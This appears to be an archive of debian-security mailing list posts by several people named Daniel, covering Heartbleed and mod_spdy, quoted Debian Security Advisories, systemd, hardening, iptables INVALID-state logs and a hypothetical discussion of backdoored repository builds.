Hash: SHA512

Thank you all for your help. Mod_spdy has a statically-linked vulnerable
version of OpenSSL. After the standard update we are no longer vulnerable.

Daniel

Estelmann, Christian wrote:
 Your server talks spdy. Have you upgraded mod_spdy to 0.9.4.2?
 
 (for mod_spy you need an Apache HTTP Server 2.4.X, in squeeze there
 is only 2.2.16 ...)
 
 Gesendet: Freitag, 11. April 2014 um 17:26 Uhr Von: daniel
 dan...@noflag.org.uk An: debian-security@lists.debian.org Cc: -
 Noflag ad...@lists.noflag.org.uk Betreff: Re: [SECURITY] [DSA
 2896-1] openssl security update
 
 Dear all,
 
 We are very concerned about the 'Heartbeat' security problem which
 has been discovered with OpenSSL. Thanks to our out-of-date
 old-stable version of debian, we are using:
 
 openssl 0.9.8o-4squeeze14
 
 This page also claims debian 6 (which we use) is unaffected: 
 https://www.digitalocean.com/community/articles/how-to-protect-your-server-against-the-heartbleed-openssl-vulnerability

  as does the text of the DSA below.
 
 However, both of the heartbeat vulnerability checkers we have used
 have told us that they were able to successfully exploit this
 vulnerability against our site:
 
 http://filippo.io/Heartbleed/#noflag.org.uk 
 https://www.ssllabs.com/ssltest/analyze.html?d=noflag.org.uk
 
 What could be going on here?
 
 Thanks in advance for all your help,
 
 Daniel
 
 Salvatore Bonaccorso wrote:
 -



 
Debian Security Advisory DSA-2896-1   secur...@debian.org
 http://www.debian.org/security/  Salvatore 
 Bonaccorso April 07, 2014 http://www.debian.org/security/faq 
 -


 
Package: openssl CVE ID : CVE-2014-0160 Debian Bug
 : 743883
 
 A vulnerability has been discovered in OpenSSL's support for
 the TLS/DTLS Hearbeat extension. Up to 64KB of memory from
 either client or server can be recovered by an attacker This
 vulnerability might allow an attacker to compromise the private
 key and other sensitive data in memory.
 
 All users are urged to upgrade their openssl packages
 (especially libssl1.0.0) and restart applications as soon as
 possible.
 
 According to the currently available information, private keys
 should be considered as compromised and regenerated as soon as
 possible. More details will be communicated at a later time.
 
 The oldstable distribution (squeeze) is not affected by this 
 vulnerability.
 
 For the stable distribution (wheezy), this problem has been
 fixed in version 1.0.1e-2+deb7u5.
 
 For the testing distribution (jessie), this problem has been
 fixed in version 1.0.1g-1.
 
 For the unstable distribution (sid), this problem has been
 fixed in version 1.0.1g-1.
 
 We recommend that you upgrade your openssl packages.
 
 Further information about Debian Security Advisories, how to
 apply these updates to your system and frequently asked
 questions can be found at: http://www.debian.org/security/
 
 Mailing list: debian-security-annou...@lists.debian.org
 
 
 
 
 -- To UNSUBSCRIBE, email to
 debian-security-requ...@lists.debian.org with a subject of
 unsubscribe. Trouble? Contact listmas...@lists.debian.org 
 Archive: https://lists.debian.org/534809aa.2000...@noflag.org.uk
 
 
-BEGIN PGP SIGNATURE-
Version: GnuPG/MacGPG2 v2.0.19 (Darwin)
Comment: GPGTools - http://gpgtools.org
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/

iQEcBAEBCgAGBQJTSJ6JAAoJEJhsX8U2K7jUalEH/1z4Se3I715yhKe0CKmA67qU
ngPQO8OxRmq9NxdWz+S5+htXEoX8MIF0PF6MIqNmN9toMhBEgGObTuG0UlxRgVa7
6T/6JaWm45Ivl3m8t8enwRddunjFWKTU4/M91eOOsdTmGt8Y7CHuYtN3NoPUMVHf
vUQeyMuWIawS+HiJl0eXTVb3522jVavnkh/WKOTcHGUeTSBBt95DErG2cldCuIXY
Vbru6nsAgNdEwL7dOxpqtsyXNWfCoBJCjsDAZD2nNs1z12Zv0Dx/GHvXf9z2HnH2
3+MIXS2nzgd1+F+tzzNxXlVergp3Q9zLlELckmJwTpvKDrF/hc0eHBYosn2m05k=
=N86v
-END PGP SIGNATURE-


-- 
To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/53489e89.2070...@noflag.org.uk

Re: Four people decided the fate of debian with systemd. Bad faith likely

[Daniel Sousa]

On 2 March 2014 10:53:51 WET, Jack j...@jackpot.uk.net wrote:
Systemd scares me. As far as I can see it does a lot of things right
(in
some cases these are things that no other contender does right); I'm
not
going to try to enumerate those things, that's been one elsewhere. But
the way systemd has been designed, in particular the way it has borged
dbus and syslog, is a real problem for me.

I try to build systems that only run those daemons the system really
needs. This is partly for security, and partly because I have several
systems that are resource-challenged. Many of those systems have no
GUI,
and until now needed no dbus. I try to run nothing that depends on
polkit or consolekit (it's a coincidence that those components are also
Lennart's work).

But the systemd approach is to use dbus for all IPC; and dbus is now
part of systemd. Dbus is complicated; I don't begin to understand it.
SystemD places dbus at the heart of PID1, and that IMO was a
questionable technical decision.

SystemD isn't just an init system; it also uses the CGROUPs kernel
feature to manage user sessions. I don't understand why that
functionality was incorporated into the init program. An init system,
IMO, should restrict itself to bringing up services.

I *really* don't want binary logs. I realise that I can make the new
journald pass all log output to a text-based syslog daemon; but then
I'm
running a journald that I don't need.

Similarly I have no need for a logind: even those of my systems that
have a GUI are not multi-seat.

If only systemd had been designed as a smorgasbord - a set of
components
designed to work in concert, but each being susceptible to being
omitted
in favour of its predecessor, then I would have been much less
uncomfortable about it.

I think it's great that Debian provides the only mainstream platform
that supports The Hurd an kFreeBSD kernels, although I don't use them.
The choice of systemd as a default init system will inevitably
marginalise those kernels in Debian, which I think is sad.

I do hope that those working on writing standalone components that
implement the various systemd interfaces are successful (and soon). I
will probably be sticking with Wheezy/SysV as long as possible, or
until
the prospects of those efforts becomes clear. I wish I had the chops to
contribute to those projects - I believe they have the potential to
match the strengths of systemd, while avoiding the birds-nest of
dependencies that makes systemd seem such a heavy, take-it-or-leave-it
deal.

Of course, the CTTE's decision concerned the *default* init system for
Jessie. Other init systems will continue to be packaged. So it's not an
apocalypse.

But systemd does *so much*, and so many other distros have decided to
adopt it, that I fear that applications will come to rely on its
features; the other init systems will be marginalised, and eventually
wither. We will then all become dependent on Red Hat for a large part
of
our critical infrastructure. Red Hat is a billion-dollar commercial
operation, with goals that are very different from Debian's. So I fear
the CTTE's decision may in time come to harm the Debian project.
I am also only a Debian user and I don't know much about the matter, but if I 
understand correctly systemd is a drop in replacement for sysV, which has a lot 
more functionalities but works fine with sysV initscrits.

Wouldn't it be possible, in the future, to write a replacement to systemd which 
works fine with the systemd configuration, but that doesn't have most of those 
problems that systemd has?
-- 
Sent from my Android device with K-9 Mail. Please excuse my brevity.


-- 
To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: 
https://lists.debian.org/407a788a-4d3f-480a-ad6e-509d2a2ef...@email.android.com

Re: [SECURITY] [DSA 2856-1] libcommons-fileupload-java security update

[Daniel Phillips]

Unsubscribe

Daniel
On Feb 8, 2014 1:00 AM, Florian Weimer f...@deneb.enyo.de wrote:

 -BEGIN PGP SIGNED MESSAGE-
 Hash: SHA1

 - -
 Debian Security Advisory DSA-2856-1   secur...@debian.org
 http://www.debian.org/security/Florian Weimer
 February 07, 2014  http://www.debian.org/security/faq
 - -

 Package: libcommons-fileupload-java
 Vulnerability  : denial of service
 Problem type   : remote
 Debian-specific: no
 CVE ID : CVE-2014-0050

 It was discovered that the Apache Commons FileUpload package for Java
 could enter an infinite loop while processing a multipart request with
 a crafted Content-Type, resulting in a denial-of-service condition.

 For the oldstable distribution (squeeze), this problem has been fixed in
 version 1.2.2-1+deb6u2.

 For the stable distribution (wheezy), this problem has been fixed in
 version 1.2.2-1+deb7u2.

 For the unstable distribution (sid), this problem has been fixed in
 version 1.3.1-1.

 We recommend that you upgrade your libcommons-fileupload-java packages.

 Further information about Debian Security Advisories, how to apply
 these updates to your system and frequently asked questions can be
 found at: http://www.debian.org/security/

 Mailing list: debian-security-annou...@lists.debian.org
 -BEGIN PGP SIGNATURE-
 Version: GnuPG v1.4.12 (GNU/Linux)

 iQEcBAEBAgAGBQJS9WToAAoJEL97/wQC1SS+IcIH/18AS3UkkZtLgZcEGpBeBEM+
 OX00IRYPc3emFQcB3ZUUeiYGtq3aAEKYTW5wd8tAA04K4wUMdcV70oUxnFEeUcLl
 ir0b4rIM/ozB86iBN95jmgQzY7pdx703tvhA7CQlNdC0WTEPFHW7yrGksrAk5rTv
 zw5NlN3Hi9McYH+kigp6ULoNavWfByNM7i7xNb7tPCulF0MnIyhfg0ewxgg+QfYj
 RB0V5U/jSW77n0E/Ft9MX5cthViwaCxYREJoXgSIDid/OYyNIE3aZuB+KKFDwPGw
 /dkC+QIE6Zbeesx73YBo+oCEKulGE1UOutjrHy/vnV+mvZklmvChyZEyaGjIG5w=
 =noFV
 -END PGP SIGNATURE-


 --
 To UNSUBSCRIBE, email to debian-security-announce-requ...@lists.debian.org
 with a subject of unsubscribe. Trouble? Contact
 listmas...@lists.debian.org
 Archive: http://lists.debian.org/87y51mil6r@mid.deneb.enyo.de

Re: Enhancements/enabled hardening flags in Wheezy pkgs/release.

[Daniel Curtis]

Hello everyone

Thanks for yours opinions. Yes, I know that AppArmor is
available in Debian. That's good. It's just fine, that  there
is a possibilities to choose between SELinux and AppArmor.

Unfortunately, I can help only with creating profiles for a
various applications. For now, I'm trying to do a profile for
*plugin-container* process, which is related with a Adobe's
flash plugin. If it's about develop AppArmor I can not do
anything, because I'm not programmer.

I will certainly follow the AppArmor developments in Debian.
That's for sure.

Best regards and a Happy New Year.

Re: Enhancements/enabled hardening flags in Wheezy pkgs/release.

[Daniel Curtis]

Hello everyone,

Michael web site with a statistic I've watching for time to
time. Also *Debian* Hardening wiki page I studied a couple of
time.

**
*There is a lintian check for setuid binaries (...) ***
* There isn't really any group effort tackling or monitoring ***
* the assortment of useful hardening features (...) *

Are you trying to say, that this problem is almost without
checking, auditing etc.? You're right - there isn't really any
group effort tackling to adding/enabling additional Security
Features. *Ubuntu* and *openSUSE* doing perfectly job in this
arena. Both system using many interesting features, which
aren't available in *Debian*.

*Moritz* that's a full list of packages with a DSA over past
years? If so, it means that there almost every pkg's is
protected. Or maybe it's just an example. I wish I could
help, but I'm not right person for this type of things.

This is very interesting, that only one hour is enough to make changes.
*@intrigeri*
 I would like to thank you because of
submitted patch!

Anyway, it could be very nice if *Debian* would start to
implement *AppArmor* for serious - put all effort on this
(yes, there is also *SELinux*) because it's very simple,
intuitive, contains many profiles etc. SELinux is also good,
but is complex. Of course there is *openSUSE* and *Ubuntu*
with *AppArmor* so everything is even easier.

In my opinion it's time to include more and more Security
Features into *Debian*. According to this I've a one question;
is there a possibility to releasing *Debian* with already
complied *grSec/PAX* kernel? If I remember correctly,
sometime ago there was similar project. Of course I mean
future.

Best regards.
 

Enhancements/enabled hardening flags in Wheezy pkgs/release.

[Daniel Curtis]

Hi Moritz,

90 percent of the hardening via '*dpkg-buildflags*'? That's
a good information. I'd hoped, that the majority of all base
packages and that's security-sensitive will be protected
well. It's really a huge satisfaction.

One more thing - does Debian include something like e.g.
Ubuntu or openSUSE does? I mean a Security Features field.
To mention a few: *setuid* binaries (kept to minimum),
minimal set of daemons in the default instalation, no open
ports or *ptrace scope* (via /kernel/yama/ptrace_scope sysctl),
and so on. What about kernel hardening?

Sorry for such question, but all of these issues are important
for a couple of sysadmins. Already mentioned, Ubuntu and
openSUSE, doing a great job.

I think, that now I can perform an upgrade process from
*Squeeze* to *Wheezy*, without any uncertainty.

Best regards.

Enhancements/enabled hardening flags in Wheezy pkgs/release.

[Daniel Curtis]

Hello everyone,

Before Wheezy release we could find a web site, which
contained notices about update as many packages as
possible to use security hardening build flags via
'dpkg-buildflags'. Also, there could be found a note about
packages that should have build flags enabled before
the Wheezy release. It was called 'ReleaseGoals' [1].

I would like to ask how many of mentioned security
features are available in Wheezy or where can I found
some informations about this? I hope, that Developers
managed to use hardening flags for many packages etc.

The reason why I'm asking is pretty simple - I think about
upgrade Squeeze to Wheezy but simultaneously I would like
to know something more about security features in a new
release.

Best regards and all the best in 2014 year!

[1] https://wiki.debian.org/ReleaseGoals/SecurityHardeningBuildFlags

Re: Compromising Debian Repositories

[Daniel Sousa]

On Mon, Aug 5, 2013 at 9:17 AM, intrigeri intrig...@debian.org wrote:

 I need a reality check, as it's unclear to me what are the goals of
 this discussion.


I don't think there are any goals. I asked it just to understand if it
would be possible to do what I was thinking (apparently, it is) and the
discussion continued from there.

I think most of you are foccusing in servers running Debian, but when I
asked the question I was thinking about personal computers.
For example, if there are any vulnerabilities on ssh, they won't be able to
get into my computer anyway because I'm always behind a NAT (and I'm not
even sure that I have ssh on this computer).

I understand that usually you are worried about directed attacks towards a
machine, but in this case the NSA (and probably many other organizations)
is interrested in infecting a lot of computers and mine data from there.

Re: Compromising Debian Repositories

[Daniel Sousa]

I am really sorry if you think it's rude to start a topic here without
subscribing. I thought that it was acceptable, since a lot of people do it
in debian-users (I know it has a lot more volume than this one) and it's
the default action when you click on Reply to All in most clients (well,
probably a lot of people here use less standard email clients).
Anyway, I just subscribed to this list ;)

I am aware that it is possible to write obfuscated code that doesn't behave
as expected, but I guess that the kind of people that usually write code
like that aren't the kind of people that are accepted to write code for
Debian.
This is a problem that is harder to tackle, so now I'm assuming that any
code whose source is publicly available has got enough scrutiny and we can
trust it.

What I was asking was about the case where the binary/package does not
correspond to to the given source.
Hipotetically the NSA could pay off the maintaner of some libfoo or
executablebar that is required by the debian core (hence, that must be
installed in all Debian systems). Before compiling that package the
developer could change it to include some trojan and provide the unmodified
source.

In principle, deterministic builds would solve this problem, but I'm not
sure how hard it is to accomplish (I'm not used to wirte compiled code). If
there is a different version of the compiler, of some random lib or of some
smaller thing, there could be some bytes that are differente, making it
quite hard to reproduce. Creating an automated build server does not seam
easy because there are packages written in a lot of languages that have a
lot of different requirements.

To conclude, I just want to say that I don't have any problems trusting
debians mantainers in general (I currently run Debian on my personal
computers and I'm setting up a personal server, also using Debian). The
problem here is that only one rogue mantainer could infect every Debian
system with some trojan.

PS: I'm sorry if this one general answer breaks someone's threaded client,
but I thinnk in this case it makes more sense one big answer than a lot of
smaller replies.

Re: Compromising Debian Repositories

[Daniel Sousa]

On Sun, Aug 4, 2013 at 2:55 PM, Michael Stone mst...@debian.org wrote:

 On Sun, Aug 04, 2013 at 10:12:40AM +0200, Heimo Stranner wrote:

 I think the real issue is about if the malicious patch is not part of
 the source package


 Why? It certainly makes your argument simpler if you arbitrarily restrict
 the problem set, but it isn't obvious that it makes sense. If I was going
 to backdoor something, I'd just make an innocent-looking coding error that
 would enable a successful exploit; I certainly wouldn't put in a commented
 section of code that says backdoor here. With sufficient effort it
 wouldn't be hard to inject such a vulnerability that would go unnoticed for
 years--and I'm not sure why that's less of an issue than someone making a
 one-time build with a malicious patch that is not part of the source
 package.


First of all, they could apply that change (calling it a patch was not one
of my greatest ideas) for every update they do, it's not necesserily a one
time thing. It's also much easier (and probably much dangerous) to write
some code that doesn't need to be cryptic, you can just write whatever you
want instead of trying to find something that can pass as a mistake
(although this seams a fun thing to do)

Despite this, the most important reason is that I don't see anyway to
prevent that from happening, but we can prevent this. It's not easy and
will take a lot of work, but at least it is theoretically possible.


I don't have any experience on this and I would not know where to start (I
haven't even done a Debain package, ever), but if there's any workgroup or
anyone working on this, I would like to help

Compromising Debian Repositories

[Daniel Sousa]

I was reading this [1] article and it brought a question do my mind: How
hard would it be for the FBI or the NSA or the CIA to have a couple of
agents infiltrated as package mantainers and seeding compromised packages
to the official repositories?

Could they submit an uncompromised source and keep a small patch that they
apply before building and sending it to the repository? Or is the building
process done on Debian servers?

1:
http://online.wsj.com/article_email/SB10001424127887323997004578641993388259674-lMyQjAxMTAzMDAwMTEwNDEyWj.html

PS: I am not subscribed to this list, please keep my address in copy

Re: INVALID state and no known connection.

[Daniel Curtis]

Hi Rolf.

 *The information about connections is stored in
*
* /proc/net/ip_conntrack. The maximum connections
*
* (...) in /proc/sys/net/ipv4/netfilter/ip_conntrack_max*

I checked these values and it looks this way;

# cat /proc/sys/net/ipv4/netfilter/ip_conntrack_max
55740
# cat /proc/net/ip_conntrack |wc -l
13

Should I change something to limit INVALID packets?
Or it is normal?

Best regards.

Re: INVALID state and no known connection.

[Daniel Curtis]

Hi Reid

Okay, no problem. So, everything is fine even with this
INVALID entries in log files?


2013/4/11 Reid Sutherland r...@vianet.ca

 I don't think you need to remove the syslog tag, just know that when you
 see that syslog entry, it's related to the rule that has the tag.


 On 2013-04-10, at 11:34 AM, Daniel Curtis sidetripp...@gmail.com wrote:

  Hi Mr Rolf
 
  Okay, I will check these values; /proc/net/ip_conntrack etc.
  Generally it is normal, that there are INVALID connections, right?
 
  Yes, I'm seeing this syslog tag. Should I remove it from my iptables
  script (e.g. -j LOG --log-prefix etc.)?

INVALID state and no known connection.

[Daniel Curtis]

Hi

As we know iptables INVALID state means, that
the packet is associated with no known connection,
right? So, if I have a lot of INVALID entries in my
log files, does it means, that something is wrong?
Hidden process etc.?

An example of logged entries;

t4 kernel: [18776.221378] [INVALID in] IN=eth0 OUT=
MAC=mac_address SRC=173.194.70.189 DST=192.168.5.200
LEN=40 TOS=0x00 PREC=0x00 TTL=45 ID=8371
PROTO=TCP SPT=443 DPT=45458 WINDOW=0 RES=0x00
RST URGP=0

t4 kernel: [18262.496058] [INVALID out] IN= OUT=eth0 SRC=192.168.5.200
DST=213.180.146.88 LEN=52
TOS=0x00 PREC=0x00 TTL=64 ID=18981 DF PROTO=TCP
SPT=37190 DPT=80 WINDOW=16576 RES=0x00
ACK FIN URGP=0

For example, lsof -i -n -P command shows only ESTABLISHED
connections; nothing strange, nothing more.

Best regards.

Re: INVALID state and no known connection.

[Daniel Curtis]

Hi andika.

Another INVALID packet description. I read a lot of
information and I don't know what is the truth. Frankly,
the first time I see a description, which concerns RAM memory.

So, I have a 1 GB of RAM memory. Just for example; free -m
command result;
used: 640, free: 230

and top command;
891896k total, 677284k used, 214612k free

As we can see, system detected 870 MB instead 1 GB (1024 MB).
So what is the relationship between INVALID packets and RAM
memory? Honestly, I don't understand it.

Re: [SECURITY] [DSA 2631-1] squid3 security update

[Daniel Thomas Hasbrouck]

thank You, Salvatore B.  gonna try this today.


On Sun, Feb 24, 2013 at 2:51 AM, Salvatore Bonaccorso car...@debian.orgwrote:

 -BEGIN PGP SIGNED MESSAGE-
 Hash: SHA1

 - -
 Debian Security Advisory DSA-2630-1   secur...@debian.org
 http://www.debian.org/security/  Salvatore Bonaccorso
 February 24, 2013  http://www.debian.org/security/faq
 - -

 Package: squid3
 Vulnerability  : denial of service
 Problem type   : remote
 Debian-specific: no
 CVE ID : CVE-2012-5643 CVE-2013-0189
 Debian Bug : 696187

 Squid3, a fully featured Web proxy cache, is prone to a denial of
 service attack due to memory consumption caused by memory leaks in
 cachemgr.cgi:

 CVE-2012-5643

 squid's cachemgr.cgi was vulnerable to excessive resource use. A
 remote attacker could exploit this flaw to perform a denial of
 service attack on the server and other hosted services.

 CVE-2013-0189

 The original patch for CVE-2012-5643 was incomplete. A remote
 attacker still could exploit this flaw to perform a denial of
 service attack.

 For the stable distribution (squeeze), these problems have been fixed in
 version 3.1.6-1.2+squeeze3.

 For the testing distribution (wheezy), these problems have been fixed in
 version 3.1.20-2.1.

 For the unstable distribution (sid), these problems have been fixed in
 version 3.1.20-2.1.

 We recommend that you upgrade your squid3 packages.

 Further information about Debian Security Advisories, how to apply
 these updates to your system and frequently asked questions can be
 found at: http://www.debian.org/security/

 Mailing list: debian-security-annou...@lists.debian.org


 -BEGIN PGP SIGNATURE-
 Version: GnuPG v1.4.12 (GNU/Linux)

 iEYEARECAAYFAlEp8EUACgkQXm3vHE4uylqX2ACfVzLUYmz1xSlRJUcshNB/W6zv
 KpIAoOVRw++ez+vx95H+dgN9vYG3he5p
 =OrsC
 -END PGP SIGNATURE-


 --
 To UNSUBSCRIBE, email to debian-security-announce-requ...@lists.debian.org
 with a subject of unsubscribe. Trouble? Contact
 listmas...@lists.debian.org
 Archive:
 http://lists.debian.org/20130224105143.GA6765@pisco.westfalen.local

Re: [SECURITY] [DSA 2612-2] ircd-ratbox update

[Daniel Thomas Hasbrouck]

thank you, guys. will make use of it.

On 2/10/13, Moritz Muehlenhoff j...@debian.org wrote:
 -BEGIN PGP SIGNED MESSAGE-
 Hash: SHA1

 - -
 Debian Security Advisory DSA-2612-2   secur...@debian.org
 http://www.debian.org/security/Moritz Muehlenhoff
 February 10, 2013   http://www.debian.org/security/faq
 - -

 Package: ircd-ratbox
 Vulnerability  : programming error
 Problem type   : remote
 Debian-specific: no
 CVE ID : CVE-2012-6084

 This update to the previous ircd-ratbox DSA only raises the version number
 to ensure that a higher version is used than a previously binNMU on some
 architectures.

 For the stable distribution (squeeze), this problem has been fixed in
 version 3.0.6.dfsg-2+squeeze1.

 We recommend that you upgrade your ircd-ratbox packages.

 Further information about Debian Security Advisories, how to apply
 these updates to your system and frequently asked questions can be
 found at: http://www.debian.org/security/

 Mailing list: debian-security-annou...@lists.debian.org
 -BEGIN PGP SIGNATURE-
 Version: GnuPG v1.4.12 (GNU/Linux)

 iEUEARECAAYFAlEX6JUACgkQXm3vHE4uylpioQCcDQvyJFUkZ53pzs3k7CFDvlL1
 v6gAlAkyL/gZnYMKLZiUgbE7m3Stvg0=
 =J5xk
 -END PGP SIGNATURE-


 --
 To UNSUBSCRIBE, email to debian-security-announce-requ...@lists.debian.org
 with a subject of unsubscribe. Trouble? Contact
 listmas...@lists.debian.org
 Archive:
 http://lists.debian.org/20130210183700.GA6726@pisco.westfalen.local




-- 
To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: 
http://lists.debian.org/ca+lfa70itzat8pni1u1e3yjkbkmz8nmm2rcqbsdanavtbnp...@mail.gmail.com

Re: NULL Scan issues or something else?

[Daniel Curtis]

Hi Mr Edwin

Yes, I have this rule and is responsible for the
established/related connections. This rule is almost
at the very end of the INPUT chain.

* (...) before the rule that logs/drops your packets?*

Do you mean those strange packages mentioned in the first
mail, right? Frankly, not; This rule is behind rules blocking those
packets. It is something wrong?

Re: NULL Scan issues or something else?

[Daniel Curtis]

Hi Mr Erwan

So, everything is okay? Even these strange logs
mentioned earlier? I'm still curious about this rule;
*SYN,RST, ACK,FIN, PSH,URG, SYN,RST,ACK,
FIN,PSH,URG*

What do you mean by writing, that I should not contact servers?

Best regards!

Re: NULL Scan issues or something else?

[Daniel Curtis]

Hi Mr Erwan

Let's summarize: these logs are normal and are not
something... *bad*. Even if there are many IP's connections
(*INVALID*) probes.
I understand, that I should have not contact with the servers.
Okay, but if those servers are providing e.g. a website, which
I visit? How to avoid them? I apologize for my naive questions.

Re: Iceweasel ESR 10 security update.

[Daniel Curtis]

Hi Mr Mestnik

I'm just curious why Debian does not publish updated versions
of the packages as soon as possible. Especially, when it comes
to the security updates. Other distributions are doing it much faster.

Personally, I do not like to use the applications that I know, it is
vulnerable.
As I already said - *I'm just curious*. That's all. Nothing more, nothing
less.
I do not understand your opinion about introducing security problems into
Debian, but that is not important.

Thank you for your answer. Best regards!

Iceweasel ESR 10 security update.

[Daniel Curtis]

Hi

Whether the Iceweasel 10.0.11 ESR package can be updated a little faster due
to several security issues? On January 8 Mozilla published about 20
Security Advisories[1]. Many distributions already have updated Firefox to
the
latest 18 and 10.0.12 ESR versions[2]. According to the website for
developers
(DPTS), Iceweasel is too young in the so-called *Testing Migration* process.
At this point it's only 3 of 10 days.

The fact is that the new Firefox (Iceweasel) version/update fixes many
security
problems. Most of the impact for these vulnerabilities were classified as
Critical.
So, is there any chance to push update for Wheezy and Squeeze-Backports
a little faster? Why wait so many days in such an important moment?

Best regards!

___
[1] https://www.mozilla.org/security/known-vulnerabilities/firefox.html
[2] Ubuntu, RedHat, Mandriva and many more...

Re: Linux 3.2: backports some features from mainline kernel (3.7)?

[daniel curtis]

Hi Mr Cyril,

Thank you for pointing out this website. I completely forgot
about it and definitely, I should look there first, before writing
a message here.
I did not look over this web site (Changlelog for 3.2.X) for a long
time, because for now, I am still using a linux-2.6 on all of my systems.

Thank You for suggesting debian-kernel@ mailing list.

Best regards!

Linux 3.2: backports some features from mainline kernel (3.7)?

[daniel curtis]

Hi,

Kernel 3.7 is officially out. This Linux release includes many improvements
practically in every aspect. Many changes also concerns security. Very
interesting are: Cryptographically-signed kernel modules and - long awaited
-
symlink and hardlink restrictions (already in Linux 3.6), but it broke some
programs, so it has been disabled by default, right?

Those features/changes are very interesting from security point of view.
With signed kernel modules, various distributions can lock down their
kernels.
symlink and hardlink are just a long-standing, much needed class of
security.

I would like to ask, if some of 3.7 kernel features (such as those
mentioned)
will be backported to Testing kernel (3.2)? I know Wheezy has now been
frozen
and in consequences this means that no more new features will be added etc.
But there is still some time to official release and those features, could
be tested
very well. Are there any plans to do this?

Best regards!

Re: Zero Day MySQL Buffer Overflow

[daniel curtis]

Hi Thijs! Okay now everything is clear. Regards!

Re: About default init umask , and kernel umask, cron umask

[daniel curtis]

  (...) so a good umask may be set there for init.


Hi, and a good setting for umask is? I know that it depends
on many things, but what do you think?

Cheers

Re: Zero Day MySQL Buffer Overflow

[daniel curtis]

Hi,

Thank You, I should look there first (Security Tracker). But I see,
that two of three CVE's are marked as 'vulnerable' for  all branches;
stable, testing and unstable. Frankly, only first CVE is Fixed for Squeeze.
It is normal?

Regards!

Zero Day MySQL Buffer Overflow

[daniel curtis]

Hi,

I would like to inform about a new stack-based buffer overflow
vulnerability for MySQL. The following CVEs have been assigned
to track this MySQL vulnerability:

CVE-2012-5611 MySQL (Linux) Stack based buffer overrun PoC Zeroday
CVE-2012-5612 MySQL (Linux) Heap Based Overrun PoC Zeroday
CVE-2012-5613 MySQL (Linux) Database Privilege Elevation Zeroday Exploit

It is related to Debian?

Best regards!

__
http://seclists.org/fulldisclosure/2012/Dec/15

Re: [SECURITY] [DSA 2550-1] asterisk security update

[Daniel Reichelt]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

Hi Moritz

  Please test/report, whether the packages located at
  http://people.debian.org/~jmm/ fix the problem for you.
Could you please publish the source package as well?

And is this going to go into squeeze-updates eventually?


Cheers
Daniel

(@moritz: sry for double-posting...)
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.10 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/

iQIcBAEBAgAGBQJQYuUBAAoJEIWTgWPaKFdzzTgP+QFfFGoV832ZwcAmhxJvwGko
UTh+q4m+HLnpZSmRMJMQsXD1yaL7aPxdX/ro0ZWlE7b4cKYnQJ50MVGvxyWI9OIG
ENh1nemiVGvyCsbEKVQ6ockIbRllYT3IWjmaAmKu+/CmmbUjUFafEd/wgRvK5mDG
1C363bXDZla+8NblI/LJnvlvXoP6zt9sgmywdYlg4lZy/x7vo69sUbXXhvcA6f3h
kKAqGlQwNdZN4Wc8PhmtQQyFDhK1MM3v+L7jEwgWpTdCMmByPGPiWDn21fQte6Dz
joEeUbfRekHTKYKynEN41clfL7SIAyVOhTjt9HfRBss+TjquQ1yQdwt4MXTD8iKE
08XAmIge7mbOW7Edypc/dlHPLn3lxfI/M3kpOKfGL+16SpLRHCFoYzbBAzxF2ASi
cWoayD74V/0mE0qWt58/m14ahAFQs6g5ypYKIm+AT2IxNGL9f8Z8XswE+Qm0MQTz
qIrWXfe0UZ3lA5gh2ocNh9tVRbY78VtCBKgJKt3DtatBZUAJfyhGDMb0vowL6fp0
YKZnTeozW/fEc6IVuR38Xi19350JFdAlLUUYgeNdM7LFICJvbMFzBTFKXHtQgTgX
5ZsE/Z/WA8A8dUNo0OZ6ZikU+m8zrxYFgXwaYhPVrMcwRbhCDu30H2KSMGVOqoer
FeQ0HGCxuE9rjgMO27nR
=5J/q
-END PGP SIGNATURE-


-- 
To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/5062e501.7040...@nachtgeist.net

Re: Hardening Debian

[Daniel Hood]

Thanks guys.

I've received quite a massive response it seems. All the information I
was looking for.

Thanks again,

Dan

On Wed, Nov 24, 2010 at 10:48 AM, Daniel Hood dsmh...@gmail.com wrote:
 Does anyone have a good checklist or script to harden a vanilla debian
 box after installation?

 Dan



-- 
To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: 
http://lists.debian.org/aanlktinhempfknt2xd_qc_qqnvlf6tsxxnuhxl5gq...@mail.gmail.com

Hardening Debian

[Daniel Hood]

Does anyone have a good checklist or script to harden a vanilla debian
box after installation?

Dan


-- 
To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: 
http://lists.debian.org/aanlktinouo_zt2xdva+2v7t-cfobzr81fndnmr0hw...@mail.gmail.com

Re: [SECURITY] [DSA-2010-1] New kvm packages fix several vulnerabilities

[Daniel Kahn Gillmor]

Hi Debian Security folks--

On 03/10/2010 01:18 PM, dann frazier wrote:
 
 Debian Security Advisory DSA-2010  secur...@debian.org
 http://www.debian.org/security/ Dann Frazier
 March 10, 2010   http://www.debian.org/security/faq
 
 
 Package: kvm
 Vulnerability  : privilege escalation/denial of service
 Problem type   : local
 Debian-specific: no
 CVE Id(s)  : CVE-2010-0298 CVE-2010-0306 CVE-2010-0309 CVE-2010-0419
 
 Several local vulnerabilities have been discovered in kvm, a full
 virtualization system. The Common Vulnerabilities and Exposures project
 identifies the following problems:
 
 CVE-2010-0298  CVE-2010-0306
 
 Gleb Natapov discovered issues in the KVM subsystem where missing
 permission checks (CPL/IOPL) permit a user in a guest system to
 denial of service a guest (system crash) or gain escalated
 privileges with the guest.
 
 CVE-2010-0309
 
 Marcelo Tosatti fixed an issue in the PIT emulation code in the
 KVM subsystem that allows privileged users in a guest domain to
 cause a denial of service (crash) of the host system.
 
